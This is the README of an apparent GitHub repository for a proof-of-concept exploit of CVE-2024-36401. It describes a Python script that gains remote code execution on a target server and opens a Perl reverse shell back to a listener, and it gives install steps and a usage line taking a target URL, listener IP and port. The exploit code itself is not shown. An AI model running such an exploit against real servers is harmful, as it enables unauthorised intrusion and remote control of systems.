CVE-2024-36401-PoC

This repository contains a Proof of Concept (PoC) script for CVE-2024-36401, a vulnerability that can be exploited to gain remote code execution on the target server.

Features

  • Assign a reverse shell listener using Perl.
  • Encode commands using Base64.
  • Make requests to the target server to exploit the vulnerability.
  • Handle interruptions gracefully with signal handling.

Prerequisites

  • Python 3.x
  • requests library

Installation

  1. Clone this repository:

    git clone https://github.com/yourusername/CVE-2024-36401-PoC.git
    cd CVE-2024-36401-PoC
  2. Install the required Python library:

    pip install requests
  3. Ensure type_names.txt is in the same directory as rev.py.

Usage

python3 rev.py -u <target_url> -i <listener_ip> -p <listener_port>